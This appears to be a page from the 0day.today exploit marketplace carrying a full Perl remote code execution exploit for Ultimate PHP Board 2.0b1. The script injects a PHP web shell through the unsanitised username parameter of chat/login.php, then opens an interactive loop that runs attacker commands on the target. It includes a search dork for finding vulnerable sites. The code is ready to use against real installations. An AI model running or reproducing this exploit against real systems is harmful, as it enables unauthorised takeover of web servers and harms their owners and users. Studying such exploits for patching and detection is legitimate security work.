0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ultimate PHP Board <= 2.0b1 (chat/login.php) Code Execution Exploit
=================================================================== Ultimate PHP Board <= 2.0b1 (chat/login.php) Code Execution Exploit =================================================================== #!/usr/bin/perl # +------------------------------------------------------------------------------------------- # + Ultimate PHP Board <= 2.0b1 (chat/login.php) Remote Code Execution Vulnerability # +------------------------------------------------------------------------------------------- # + Affected Software .: Ultimate PHP Board (myUPB) <= 2.0b1 # + Vendor ............: http://www.myupb.com/ # + Description .......: "Ultimate PHP Board is a free discussion forum that can be used as a free alternative to UBB or vBulletin" # + Dork ..............: "Powered by UPB" # + Class .............: Remote Code Execution # + Risk ..............: High (Remote Code Execution) # +------------------------------------------------------------------------------------------- # + Details: # + Ultimate PHP Board chat/login.php does not sanatize the $username ($_GET["username"]) # + variable before writing it to chat/text.php on line 28, arbitrary php code can be written # + then executed by visiting chat/text.php. # + # + Vulnerable Code: # + chat/login.php, line(s) 23-28: # + -> 23: $filename = "text.php"; # + -> 24: $fileAr= file($filename); # + -> 25: exec("cat /dev/null > '$filename'"); # + -> 26: $fd = fopen( $filename, "a+" ); # + -> 27: $filemessage = "<font size='$font_s' face='$font_face' color='$font_color_main'><b>$username entered at $date</b></font><br>\n"; # + -> 28: fputs($fd,$filemessage); # + # + Proof of Concept: # + http://[target]/[path]/chat/login.php?option=chat&username=[code] # + http://[target]/[path]/chat/text.php # +------------------------------------------------------------------------------------------- use Getopt::Long; use URI::Escape; use IO::Socket; $code = "<?php if (isset(\$_GET[cmd])) passthru(\$_GET[cmd]); die; ?>"; main(); sub usage { print "\nUltimate PHP Board <= 2.0b1 Remote Code Execution Exploit\n"; print "nuffsaid <nuffsaid[at]newbslove.us>\n"; print "-h, --host\ttarget host\t(example.com)\n"; print "-d, --dir\tinstall dir\t(/forum)\n"; exit; } sub main { GetOptions ('h|host=s' => \$host,'d|dir=s' => \$dir); usage() unless $host; $dir = "/forum" unless $dir; $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die "\nconnect() failed.\n"; print "\nconnected to ".$host.", sending data.\n"; $sendurl = uri_escape($code); print $sock "GET ".$dir."/chat/login.php?option=chat&username=".$sendurl." HTTP/1.1\n"; print $sock "Host: ".$host."\n"; print $sock "Accept: */*\n"; print $sock "Connection: close\n\n"; print "\n"; print "attempted to create php shell, server response:\n\n"; while($recvd = <$sock>) { print " ".$recvd.""; } while($cmd !~ "~quit") { print "\n\n-> "; $cmd = <STDIN>; if ($cmd !~ "~quit") { $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die "connect() failed.\n"; $sendurl = uri_escape($cmd); print $sock "GET ".$dir."/chat/text.php?cmd=".$sendurl." HTTP/1.1\n"; print $sock "Host: ".$host."\n"; print $sock "Accept: */*\n"; print $sock "Connection: close\n\n"; print "\n"; while($recvd = <$sock>) { print $recvd; } } } exit; } # 0day.today [2024-10-06] #